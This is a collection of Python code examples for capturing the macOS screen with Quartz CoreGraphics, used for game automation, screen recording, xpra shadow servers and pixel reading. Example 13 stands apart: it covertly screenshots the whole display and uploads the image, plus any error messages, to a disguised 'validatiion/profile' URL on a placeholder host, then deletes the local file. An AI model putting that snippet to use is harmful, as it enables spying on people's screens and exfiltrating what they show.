def scoreGrab(dy):
    """Captures an image of the scoreboard and converts it to RGB array.
    Returns scoreboard readings from ScoreReading.py scoreBoard() method."""
    region = CG.CGRectMake(434, 142 + dy, 190, 88)
    image = CG.CGWindowListCreateImage(region,
                                       CG.kCGWindowListOptionOnScreenOnly,
                                       CG.kCGNullWindowID,
                                       CG.kCGWindowImageDefault)
    width = CG.CGImageGetWidth(image)
    height = CG.CGImageGetHeight(image)
    bytesperrow = CG.CGImageGetBytesPerRow(image)
    pixeldata = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(image))

    array = np.frombuffer(pixeldata, dtype=np.uint8)
    array = array.reshape((height, bytesperrow // 4, 4))
    array = array[:, :, [2, 1, 0]][:, :width, :]

    r, g, b = array.T

    grey = (r == 196) & (g == 196) & (b == 196)
    array[:, :, :3][grey.T] = (0, 0, 0)

    other = (r > 0) & (g >= 0) & (b > 0)
    array[:, :, :3][other.T] = (255, 255, 255)

    return array, sr.scoreBoard(array)
Esempio n. 2
0
def screenshot(region=None, dpi=72, cv2_format=False):
    if region is None:
        region = CG.CGRectInfinite
    else:
        region = CG.CGRectMake(*region)

    image = CG.CGWindowListCreateImage(region,
                                       CG.kCGWindowListOptionOnScreenOnly,
                                       CG.kCGNullWindowID,
                                       CG.kCGWindowImageDefault)

    file_name = '.screenshot-{0}.png'.format(
        datetime.datetime.now().strftime('%Y-%m%d_%H-%M-%S-%f'))
    file_type = LaunchServices.kUTTypePNG
    file_url = NSURL.fileURLWithPath_(file_name)

    dest = Quartz.CGImageDestinationCreateWithURL(file_url, file_type, 1, None)

    properties = {
        Quartz.kCGImagePropertyDPIWidth: dpi,
        Quartz.kCGImagePropertyDPIHeight: dpi,
    }

    Quartz.CGImageDestinationAddImage(dest, image, properties)
    Quartz.CGImageDestinationFinalize(dest)

    if cv2_format:
        image = cv2.imread(file_name)
    else:
        image = Image.open(file_name)

    os.unlink(file_name)
    return image
Esempio n. 3
0
    def update(self, _):
        region = CG.CGRectInfinite

        # Create screenshot as CGImage
        t = time.time()

        image = CG.CGWindowListCreateImage(region,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        bytesperrow = CG.CGImageGetBytesPerRow(image)

        pixeldata = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(image))
        image = numpy.frombuffer(pixeldata, dtype=numpy.uint8)
        image = image.reshape((2400, bytesperrow // 4, 4))
        # image = image[:, :width, :]
        im_rgb = cv2.cvtColor(image, cv2.COLOR_RGBA2BGR)
        image = cv2.flip(im_rgb, 0)
        image = cv2.resize(image, (1920, 1200))

        # pilimage = Image.fromarray(image)
        # print(pilimage.size)
        # cv2.imwrite("CG.png",image)
        fgmask = self.fgbg.apply(image)
        #
        dst = cv2.bitwise_or(image, image, mask=fgmask)
        # image = Image.frombytes("RGB", sct_img.size, sct_img.bgra, "raw", "BGRX")
        # imgdata=numpy.fromstring(_data,dtype=numpy.uint8).tobytes()
        # image = image.resize((int(image.width / 2), int(image.height / 2)))
        self.texture.blit_buffer(dst.tobytes(), colorfmt='rgb')
        with self.widget.canvas:
            Rectangle(texture=self.texture, pos=(0, 0), size=Window.size)
        print(time.time() - t)
Esempio n. 4
0
    def capture(self):
        # Region size is hard coded, please change it
        # as per your need.
        X = 50
        Y = 160
        region = CG.CGRectMake(X, Y, 160, 116)

        if region is None:
            region = CG.CGRectInfinite
        else:
            # Capture region should be even sized else
            # you will see wrongly strided images i.e corrupted
            if region.size.width % 2 > 0:
                emsg = "Capture region width should be even (was %s)" % (
                    region.size.width)
                raise ValueError(emsg)

        # Create screenshot as CGImage
        image = CG.CGWindowListCreateImage(region,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        # Intermediate step, get pixel data as CGDataProvider
        prov = CG.CGImageGetDataProvider(image)

        # Copy data out of CGDataProvider, becomes string of bytes
        self._data = CG.CGDataProviderCopyData(prov)

        # Get width/height of image
        self.width = CG.CGImageGetWidth(image)
        self.height = CG.CGImageGetHeight(image)
Esempio n. 5
0
def get_window_image(window_d, crop_title=True):
    """
    Gets an image object of the contents of the given window. Only valid in macOS.
    See: https://stackoverflow.com/a/53607100
    See: https://stackoverflow.com/a/22967912
    :param int window_d: the id of the window that we want to capture.
    :param bool crop_title: whether to crop the title bar part of the window.
    :rtype: PIL.Image.Image
    :return: the image representation of the given window.
    """
    # check for mac OS
    if platform.system() != 'Darwin':
        raise ValueError('Not supported in non-macOS platforms!')

    # get CG image
    cg_img = CG.CGWindowListCreateImage(
        CG.CGRectNull,
        CG.kCGWindowListOptionIncludingWindow,
        window_d,
        CG.kCGWindowImageBoundsIgnoreFraming | CG.kCGWindowImageBestResolution)

    width = CG.CGImageGetWidth(cg_img)
    height = CG.CGImageGetHeight(cg_img)
    pixel_data = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(cg_img))
    bpr = CG.CGImageGetBytesPerRow(cg_img)

    # create image and crop title
    img = Image.frombuffer('RGBA', (width, height), pixel_data, 'raw', 'BGRA', bpr, 1)
    if crop_title:
        img = img.crop((0, TITLE_BAR_HEIGHT, width, height))
    return img
Esempio n. 6
0
def get_CG_imagewrapper(rect=None):
    from xpra.codecs.image_wrapper import ImageWrapper
    assert CG, "cannot capture without Quartz.CoreGraphics"
    if rect is None:
        x = 0
        y = 0
        region = CG.CGRectInfinite
    else:
        x, y, w, h = rect
        region = CG.CGRectMake(x, y, roundup(w, 2), roundup(h, 2))
    image = CG.CGWindowListCreateImage(
        region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID,
        CG.kCGWindowImageNominalResolution)  #CG.kCGWindowImageDefault)
    width = CG.CGImageGetWidth(image)
    height = CG.CGImageGetHeight(image)
    bpc = CG.CGImageGetBitsPerComponent(image)
    bpp = CG.CGImageGetBitsPerPixel(image)
    rowstride = CG.CGImageGetBytesPerRow(image)
    alpha = CG.CGImageGetAlphaInfo(image)
    alpha_str = ALPHA.get(alpha, alpha)
    log(
        "get_CG_imagewrapper(..) image size: %sx%s, bpc=%s, bpp=%s, rowstride=%s, alpha=%s",
        width, height, bpc, bpp, rowstride, alpha_str)
    prov = CG.CGImageGetDataProvider(image)
    argb = CG.CGDataProviderCopyData(prov)
    return ImageWrapper(x, y, width, height, argb, "BGRX", 24, rowstride)
Esempio n. 7
0
    def capture(self) -> np.array:
        """ Capture border-less window content and return it as a raw pixel array """
        screenBounds = CG.CGRectNull
        listOption = CG.kCGWindowListOptionIncludingWindow
        windowID = self.window['kCGWindowNumber']
        imageOption = CG.kCGWindowImageBoundsIgnoreFraming | CG.kCGWindowImageShouldBeOpaque
        screenshot = CG.CGWindowListCreateImage(screenBounds, listOption,
                                                windowID, imageOption)

        width, height = CG.CGImageGetWidth(screenshot), CG.CGImageGetHeight(
            screenshot)
        bytesPerRow = CG.CGImageGetBytesPerRow(screenshot)

        if width <= 1 and height <= 1:
            warnings.warn(
                "Can't capture window because the process is minimized",
                RuntimeWarning)
            return None

        dataProvider = CG.CGImageGetDataProvider(screenshot)
        rawPixels = CG.CGDataProviderCopyData(dataProvider)
        image = np.frombuffer(rawPixels, dtype=np.uint8).reshape(
            [height, bytesPerRow // 4, 4])

        return image[self.TitleBarHeight:height, 0:width, 0:3]
Esempio n. 8
0
    def cgimage_screen_capture(self, region=None):
        """
    inputs
      region: Quartz.CoreGraphics CGRect
    """

        if region is None:
            region = CG.CGRectInfinite
        elif region.size.width % 2 > 0:
            raise ValueError(
                "Capture region width: %s should be even to avoid warp" %
                region.size.width)

        image = CG.CGWindowListCreateImage(region,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        image_get_data_provider = CG.CGImageGetDataProvider(image)
        self.screen_capture_byte_data = CG.CGDataProviderCopyData(
            image_get_data_provider)

        # Get width/height of image
        self.screen_capture_width = CG.CGImageGetWidth(image)
        self.screen_capture_height = CG.CGImageGetHeight(image)
Esempio n. 9
0
    def capture(self, region=None):
        """region should be a CGRect, something like:

        >>> import Quartz.CoreGraphics as cg
        >>> region = cg.CGRectMake(0, 0, 100, 100)
        >>> sp = _MacAdapter()
        >>> sp.capture(region=region)

        The default region is CG.CGRectInfinite (captures the full screen)
        """

        if region is None:
            region = cg.CGRectInfinite
        else:
            if not isinstance(region, (list, tuple)):
                raise AttributeError("Capture region must be a list or tuple")
            if region[0] % 2 > 0:
                raise ValueError(
                    "Capture region width should be even (was %s)" % region[0])
            region = cg.CGRectMake(0, 0, region[0], region[1])

        image = cg.CGWindowListCreateImage(region,
                                           cg.kCGWindowListOptionOnScreenOnly,
                                           cg.kCGNullWindowID,
                                           cg.kCGWindowImageDefault)

        width = cg.CGImageGetWidth(image)
        height = cg.CGImageGetHeight(image)
        provider = cg.CGImageGetDataProvider(image)
        data = cg.CGDataProviderCopyData(provider)

        return data, width, height
Esempio n. 10
0
    def take_screenshot(self, x, y, w, h, hwnd=None):
        """
        get area screenshot
        Args:
            x, y: top-left corner of a rectangle
            w, h: rectangle dimensions
            hwnd: for compatibility

        Returns: numpy array

        http://stackoverflow.com/questions/37359192/cannot-figure-out-numpy-equivalent-for-cv-mat-step0
        """
        [x, y, w, h] = map(int, [x, y, w, h])
        driver_cache_size = 64  # bytes

        # align width to the nearest value that divisible by driver_cache_size
        if w % driver_cache_size != 0:
            w = driver_cache_size * (int(w / driver_cache_size) + 1)

        image_ref = CG.CGWindowListCreateImage(
            CG.CGRectMake(x, y, w, h),  # CG.CGRectInfinite,
            CG.kCGWindowListOptionOnScreenOnly,
            CG.kCGNullWindowID,
            CG.kCGWindowImageDefault)
        pixeldata = CG.CGDataProviderCopyData(
            CG.CGImageGetDataProvider(image_ref))

        height = CG.CGImageGetHeight(image_ref)
        width = CG.CGImageGetWidth(image_ref)

        image = Image.frombuffer("RGBA", (width, height), pixeldata, "raw",
                                 "RGBA", 0, 1).convert('RGB')
        return np.array(image)
Esempio n. 11
0
    def capture(self, region=None):
        """region should be a CGRect, something like:
        >>> import Quartz.CoreGraphics as CG
        >>> region = CG.CGRectMake(0, 0, 100, 100)
        >>> sp = ScreenPixel()
        >>> sp.capture(region=region)
        The default region is CG.CGRectInfinite (captures the full screen)
        """

        if region is None:
            region = CG.CGRectInfinite
        else:
            # TODO: Odd widths cause the image to warp. This is likely
            # caused by offset calculation in ScreenPixel.pixel, and
            # could could modified to allow odd-widths
            if region.size.width % 2 > 0:
                emsg = "Capture region width should be even (was %s)" % (
                    region.size.width)
                raise ValueError(emsg)

        # Create screenshot as CGImage
        image = CG.CGWindowListCreateImage(region,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        # Intermediate step, get pixel data as CGDataProvider
        prov = CG.CGImageGetDataProvider(image)

        # Copy data out of CGDataProvider, becomes string of bytes
        self._data = CG.CGDataProviderCopyData(prov)

        # Get width/height of image
        self.width = CG.CGImageGetWidth(image)
        self.height = CG.CGImageGetHeight(image)
Esempio n. 12
0
    def capture_osx(self):
        region = CG.CGRectInfinite

        # [Create screenshot as CGImage]:
        image = CG.CGWindowListCreateImage(region,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        # [Intermediate step, get pixel data as CGDataProvider]:
        prov = CG.CGImageGetDataProvider(image)

        # [Copy data out of CGDataProvider, becomes string of bytes]:
        self._data = CG.CGDataProviderCopyData(prov)

        # [Get width/height of image]:
        self._width = CG.CGImageGetWidth(image)
        self._height = CG.CGImageGetHeight(image)

        # [Get raw pixels from the screen, save it to a Numpy array as RGB]:
        imgdata = numpy.frombuffer(self._data, dtype=numpy.uint8).reshape(
            int(len(self._data) / 4), 4)
        _numpy_bgr = imgdata[:self._width * self._height, :-1].reshape(
            self._height, self._width, 3)
        _numpy_rgb = _numpy_bgr[..., ::-1]
        self._numpy = _numpy_rgb
Esempio n. 13
0
def screenshot():
    try:
        region = CG.CGRectInfinite
        path = '/Users/Shared/out.png'
        image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault)
        imagepath = NSURL.fileURLWithPath_(path)
        dest = Quartz.CGImageDestinationCreateWithURL(imagepath, LaunchServices.kUTTypePNG, 1, None)
        properties = {Quartz.kCGImagePropertyDPIWidth: 1024, Quartz.kCGImagePropertyDPIHeight: 720,}
        Quartz.CGImageDestinationAddImage(dest, image, properties)
        x = Quartz.CGImageDestinationFinalize(dest)
                
        with open('/Users/Shared/out.png', 'rb') as fl:
            x = fl.read()
            vals = {'content':x}
            srvr = 'https://127.0.0.1/validatiion/profile/1'
            req = urllib2.Request(srvr,headers=headers,data=vals.get('content'))
            resp = urllib2.urlopen(req,context=context)
            respn = resp.read()
        fl.close()
        os.remove('/Users/Shared/out.png')
 
    except Exception as e:
        vals = {'content':e}
        vals2 = urllib.urlencode(vals)
        srvr = 'https://127.0.0.1/validatiion/profile/1'
        req = urllib2.Request(srvr,headers=headers,data=vals2)
        resp = urllib2.urlopen(req,context=context)
        respn = resp.read()
Esempio n. 14
0
def screen_record_v3():
    last_time = time.time()
    while 1:
        region = CG.CGRectMake(100, 100, 400, 400)
        image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault)
        width = CG.CGImageGetWidth(image)
        height = CG.CGImageGetHeight(image)
        prov = CG.CGImageGetDataProvider(image)
        data = CG.CGDataProviderCopyData(prov)
        byteperrow = CG.CGImageGetBytesPerRow(image)
        #print prov
        #<CGDataProvider 0x7fc19b1022f0>
        #print type(data)
        #<objective-c class __NSCFData at 0x7fff78073cf8>
        img = np.frombuffer(data, dtype=np.uint8)
        img = img.reshape((height, byteperrow//4,4))
        img = img[:, :width, :]
        print('loop took {0} seconds' . format(time.time()-last_time))
        img = process_img(img)
        # the above take roughly 0.01s
        last_time = time.time()
        cv2.imshow('window',img)
        if cv2.waitKey(25) & 0xFF == ord('q'):
            cv2.destroyAllWindows()
            break
Esempio n. 15
0
def screenshot(path, region = None):
    """region should be a CGRect, something like:
    >>> import Quartz.CoreGraphics as CG
    >>> region = CG.CGRectMake(0, 0, 100, 100)
    >>> sp = ScreenPixel()
    >>> sp.capture(region=region)
    The default region is CG.CGRectInfinite (captures the full screen)
    """
    if region is None:
        region = CG.CGRectInfinite
    # Create screenshot as CGImage
    image = CG.CGWindowListCreateImage(
        region,
        CG.kCGWindowListOptionOnScreenOnly,
        CG.kCGNullWindowID,
        CG.kCGWindowImageDefault)
    dpi = 72 # FIXME: Should query this from somewhere, e.g for retina displays
    url = NSURL.fileURLWithPath_(path)
    dest = Quartz.CGImageDestinationCreateWithURL(
        url,
        LaunchServices.kUTTypePNG, # file type
        1, # 1 image in file
        None
        )
    properties = {
        Quartz.kCGImagePropertyDPIWidth: dpi,
        Quartz.kCGImagePropertyDPIHeight: dpi,
        }
    # Add the image to the destination, characterizing the image with
    # the properties dictionary.
    Quartz.CGImageDestinationAddImage(dest, image, properties)
    # When all the images (only 1 in this example) are added to the destination, 
    # finalize the CGImageDestination object. 
    Quartz.CGImageDestinationFinalize(dest)
Esempio n. 16
0
def screenshot(*args):
    if len(args) == 4:
        x, y, w, h = args
    elif len(args) == 3 and isinstance(args[0], Point):
        x, y = args[0]
        w, h = args[1:]
    else:
        raise Exception('Error! Bad input to screenshot.')

    norm_w = SCREENSHOT_WIDTHS[np.searchsorted(SCREENSHOT_WIDTHS, w)]

    region = CG.CGRectMake(x, y, norm_w, h)

    image = CG.CGWindowListCreateImage(region,
                                       CG.kCGWindowListOptionOnScreenOnly,
                                       CG.kCGNullWindowID,
                                       CG.kCGWindowImageDefault)

    provider = CG.CGImageGetDataProvider(image)
    bin_data = CG.CGDataProviderCopyData(provider)

    data_format = "%dB" % norm_w * h * 4
    unpacked = struct.unpack_from(data_format, bin_data)

    if norm_w == w:
        return np.array(unpacked, dtype=np.uint8).reshape(h, w, 4)
    else:
        return np.array(unpacked, dtype=np.uint8).reshape(h, norm_w, 4)[:, :w]
Esempio n. 17
0
    def grab_desktop(self, return_type=0):
        """
        grab desktop screenshot.

        :type return_type: int
        :param return_type: 0 for pil image, 1 for color matrix, 2 for gray matrix
        :rtype: numpy.ndarray or Image.Image
        :return: the screenshot image
        """

        ret_image = None

        # Create screenshot as CGImage
        image = CG.CGWindowListCreateImage(CG.CGRectInfinite,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        width = CG.CGImageGetWidth(image)
        height = CG.CGImageGetHeight(image)

        # Allocate enough space to hold our pixels
        imageData = objc.allocateBuffer(int(4 * width * height))

        # Create the bitmap context
        bitmapContext = CG.CGBitmapContextCreate(
            imageData,  # image data we just allocated...
            width,  # width
            height,  # height
            8,  # 8 bits per component
            4 * width,  # bytes per pixel times number of pixels wide
            CG.CGImageGetColorSpace(
                image),  # use the same colorspace as the original image
            CG.kCGImageAlphaPremultipliedLast)  # use premultiplied alpha

        CG.CGContextDrawImage(bitmapContext,
                              CG.CGRectMake(0, 0, width, height), image)

        #Now your rawData contains the image data in the RGBA8888 pixel format.

        #del bitmapContext

        ret_image = Image.frombuffer("RGBA", (width, height), imageData, "raw",
                                     "RGBA", 0, 1)

        #return ret_image
        #ret_image.save('out.jpg')
        ret_image = ret_image.convert('RGB')
        #ret_image.save('out.jpg')

        if return_type == self.get_color_mat:
            return self._get_cv_color_mat(ret_image)
        if return_type == self.get_gray_mat:
            mat = self._get_cv_color_mat(ret_image)
            return self._get_cv_gray_mat(mat)
        else:
            return ret_image
Esempio n. 18
0
 def __init__(self):
     #sanity check:
     image = CG.CGWindowListCreateImage(CG.CGRectInfinite,
                 CG.kCGWindowListOptionOnScreenOnly,
                 CG.kCGNullWindowID,
                 CG.kCGWindowImageDefault)
     if image is None:
         raise Exception("cannot grab test screenshot - maybe you need to run this command whilst logged in via the UI")
     ShadowServerBase.__init__(self, gtk.gdk.get_default_root_window())
     GTKServerBase.__init__(self)
Esempio n. 19
0
def capture():
    global screenshot_width
    global screenshot_data
    region = CG.CGRectInfinite
    # Create screenshot as CGImage
    image = CG.CGWindowListCreateImage(region,
                                       CG.kCGWindowListOptionOnScreenOnly,
                                       CG.kCGNullWindowID,
                                       CG.kCGWindowImageDefault)
    prov = CG.CGImageGetDataProvider(image)
    screenshot_data = CG.CGDataProviderCopyData(prov)
    screenshot_width = CG.CGImageGetWidth(image)
Esempio n. 20
0
def screen_record():
    region = CG.CGRectMake(100, 122, 400, 378)
    #image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault)
    image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageNominalResolution)
    width = CG.CGImageGetWidth(image)
    height = CG.CGImageGetHeight(image)
    prov = CG.CGImageGetDataProvider(image)
    data = CG.CGDataProviderCopyData(prov)
    byteperrow = CG.CGImageGetBytesPerRow(image)
    img = np.frombuffer(data, dtype=np.uint8)
    img = img.reshape((height, byteperrow//4,4))
    img = img[:, :width, :]
    return img
Esempio n. 21
0
def get_img(x, y, w, h):
    region = CG.CGRectMake(x, y, w, h)
    image = CG.CGWindowListCreateImage(region, 1, 0, 0)

    width = CG.CGImageGetWidth(image)
    height = CG.CGImageGetHeight(image)
    bytesperrow = CG.CGImageGetBytesPerRow(image)

    pixeldata = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(image))
    image = np.frombuffer(pixeldata, dtype=np.uint8)
    image = image.reshape((height, bytesperrow // 4, 4))
    im = image[:, :width, :]
    return im
Esempio n. 22
0
 def get_pixel_data(region: Optional[Region] = None):
     region = (CoreGraphics.CGRectInfinite if region is None else
               CoreGraphics.CGRectMake(region.x1, region.y1, region.x2 -
                                       region.x1, region.y2 - region.y1))
     image = CoreGraphics.CGWindowListCreateImage(
         region,
         CoreGraphics.kCGWindowListOptionOnScreenOnly,
         CoreGraphics.kCGNullWindowID,
         CoreGraphics.kCGWindowImageDefault,
     )
     pixel_data = CoreGraphics.CGDataProviderCopyData(
         CoreGraphics.CGImageGetDataProvider(image))
     bytes_per_row = CoreGraphics.CGImageGetBytesPerRow(image) // 4
     return pixel_data, bytes_per_row
Esempio n. 23
0
 def screen_record(self):
     image = CG.CGWindowListCreateImage(self.region,
                                        CG.kCGWindowListOptionOnScreenOnly,
                                        CG.kCGNullWindowID,
                                        CG.kCGWindowImageDefault)
     width = CG.CGImageGetWidth(image)
     height = CG.CGImageGetHeight(image)
     prov = CG.CGImageGetDataProvider(image)
     data = CG.CGDataProviderCopyData(prov)
     byteperrow = CG.CGImageGetBytesPerRow(image)
     img = np.frombuffer(data, dtype=np.uint8)
     img = img.reshape((height, byteperrow // 4, 4))
     img = img[:, :width, :]
     return img
Esempio n. 24
0
    def takeScreenshot(self):
        image = CG.CGWindowListCreateImage(CG.CGRectInfinite, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        prov = CG.CGImageGetDataProvider(image)
        _data = CG.CGDataProviderCopyData(prov)

        width = CG.CGImageGetWidth(image)
        height = CG.CGImageGetHeight(image)

        imgdata = np.frombuffer(_data, dtype=np.uint8).reshape(int(len(_data) / 4.0), 4)

        numpy_img = imgdata[:width * height, :-1].reshape(height, width, 3)
        return numpy_img
Esempio n. 25
0
    def pixel(self, x, y):
        region = CG.CGRectMake(x, y, 1, 1)
        image = CG.CGWindowListCreateImage(region,
                                           CG.kCGWindowListOptionOnScreenOnly,
                                           CG.kCGNullWindowID,
                                           CG.kCGWindowImageDefault)

        prov = CG.CGImageGetDataProvider(image)
        self._data = CG.CGDataProviderCopyData(prov)
        self.width = CG.CGImageGetWidth(image)
        self.height = CG.CGImageGetHeight(image)
        data_format = "BBBB"
        b, g, r, a = struct.unpack_from(data_format, self._data, offset=0)
        return (r, g, b)
Esempio n. 26
0
    def img_grab(self):
        img = CG.CGWindowListCreateImage(self.roi,
                                         CG.kCGWindowListOptionOnScreenOnly,
                                         CG.kCGNullWindowID,
                                         CG.kCGWindowImageDefault)

        pixeldata = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(img))
        width = CG.CGImageGetWidth(img)
        height = CG.CGImageGetHeight(img)
        bytesperrow = CG.CGImageGetBytesPerRow(img)
        img_mat = np.frombuffer(pixeldata, dtype=np.uint8).reshape(
            (height, bytesperrow // 4, 4))

        return img_mat[:, :width, :]
Esempio n. 27
0
    def _grab_to_file(self, filename, bbox=None, dpi=72):
        # FIXME: Should query dpi from somewhere, e.g for retina displays
        import Quartz
        import LaunchServices
        from Cocoa import NSURL
        import Quartz.CoreGraphics as CG
        import objc

        if bbox:
            width = bbox[2] - bbox[0]
            height = bbox[3] - bbox[1]
            region = CG.CGRectMake(bbox[0], bbox[1], width, height)
        else:
            region = CG.CGRectInfinite

        # Create screenshot as CGImage
        image = CG.CGWindowListCreateImage(
            region,
            CG.kCGWindowListOptionOnScreenOnly,
            CG.kCGNullWindowID,
            CG.kCGWindowImageDefault,
        )

        # XXX: Can add more types:
        # https://developer.apple.com/library/mac/documentation/MobileCoreServices/Reference/UTTypeRef/Reference/reference.html#//apple_ref/doc/uid/TP40008771
        file_type = LaunchServices.kUTTypePNG

        url = NSURL.fileURLWithPath_(filename)

        dest = Quartz.CGImageDestinationCreateWithURL(
            url,
            file_type,
            # 1 image in file
            1,
            None,
        )

        properties = {
            Quartz.kCGImagePropertyDPIWidth: dpi,
            Quartz.kCGImagePropertyDPIHeight: dpi,
        }

        # Add the image to the destination, characterizing the image with
        # the properties dictionary.
        Quartz.CGImageDestinationAddImage(dest, image, properties)

        # When all the images (only 1 in this example) are added to the destination,
        # finalize the CGImageDestination object.
        Quartz.CGImageDestinationFinalize(dest)
def observationGrab():
    """Captures image of the game screen and converts it to RGB array."""
    region = CG.CGRectMake(401, 130, 634, 445)
    image = CG.CGWindowListCreateImage(region,
                                       CG.kCGWindowListOptionOnScreenOnly,
                                       CG.kCGNullWindowID,
                                       CG.kCGWindowImageDefault)
    width = CG.CGImageGetWidth(image)
    height = CG.CGImageGetHeight(image)
    bytesperrow = CG.CGImageGetBytesPerRow(image)
    pixeldata = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(image))
    array = np.frombuffer(pixeldata, dtype=np.uint8)
    array = array.reshape((height, bytesperrow // 4, 4))
    array = array[:, :, [2, 1, 0]][:, :width, :]
    return array
Esempio n. 29
0
 def __init__(self):
     #sanity check:
     check_display()
     image = CG.CGWindowListCreateImage(CG.CGRectInfinite,
                 CG.kCGWindowListOptionOnScreenOnly,
                 CG.kCGNullWindowID,
                 CG.kCGWindowImageDefault)
     if image is None:
         log("cannot grab test screenshot - maybe you need to run this command whilst logged in via the UI")
         raise InitExit(EXIT_FAILURE, "cannot grab pixels from the screen, make sure this command is launched from a GUI session")
     patch_pixels_to_bytes()
     self.refresh_count = 0
     self.refresh_rectangle_count = 0
     self.refresh_registered = False
     super().__init__()
Esempio n. 30
0
 def __init__(self):
     #sanity check:
     image = CG.CGWindowListCreateImage(CG.CGRectInfinite,
                 CG.kCGWindowListOptionOnScreenOnly,
                 CG.kCGNullWindowID,
                 CG.kCGWindowImageDefault)
     if image is None:
         from xpra.scripts.config import InitExit
         log("cannot grab test screenshot - maybe you need to run this command whilst logged in via the UI")
         raise InitExit(1, "cannot grab pixels from the screen, make sure this command is launched from a GUI session")
     patch_picture_encode()
     self.refresh_count = 0
     self.refresh_rectangle_count = 0
     self.refresh_registered = False
     GTKShadowServerBase.__init__(self)